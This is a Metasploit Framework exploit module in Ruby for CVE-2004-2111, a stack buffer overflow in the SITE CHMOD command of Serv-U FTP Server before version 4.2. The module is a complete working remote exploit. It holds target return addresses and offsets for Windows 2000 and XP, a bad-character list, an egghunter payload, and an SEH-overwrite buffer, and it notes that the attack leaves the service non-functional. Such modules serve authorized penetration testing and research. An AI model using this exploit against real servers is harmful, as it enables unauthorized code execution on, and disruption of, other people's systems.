##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Egghunter
    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Serv-U FTP Server <4.2 Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in the site chmod command
                in versions of Serv-U FTP Server prior to 4.2.

                You must have valid credentials to trigger this vulnerability. Exploitation
                also leaves the service in a non-functional state.
            },
            'Author'         => 'thelightcosine <thelightcosine[at]metasploit.com>',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2004-2111'],
                    [ 'BID', '9483'],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
                    'DisableNops' => true,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 SP0-4 EN', {
                        'Ret'    => 0x750212bc, #WS2HELP.DLL
                        'Offset' => 396 } ],
                    [ 'Windows XP SP0-1 EN', {
                        'Ret'    => 0x71aa388f, #WS2HELP.DLL
                        'Offset' => 394 } ]
                ],
            'DisclosureDate' => 'Dec 31 2004',
            'DefaultTarget'  => 0))
    end

    def check
        connect
        disconnect

        if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end


    def exploit
        connect_login

        eggoptions =
        {
            :checksum => true,
            :eggtag => "W00T"
        }

        hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


        buffer = "chmod 777 "
        buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
        buffer << egg
        buffer << hunter
        buffer << "\xeb\xc9\x41\x41"    #nseh, jump back to egghunter
        buffer << [target.ret].pack('V')    #seh
        buffer << rand_text(5000)

        print_status("Trying target #{target.name}...")

        send_cmd( ['SITE', buffer] , false)

        handler
        disconnect
    end

end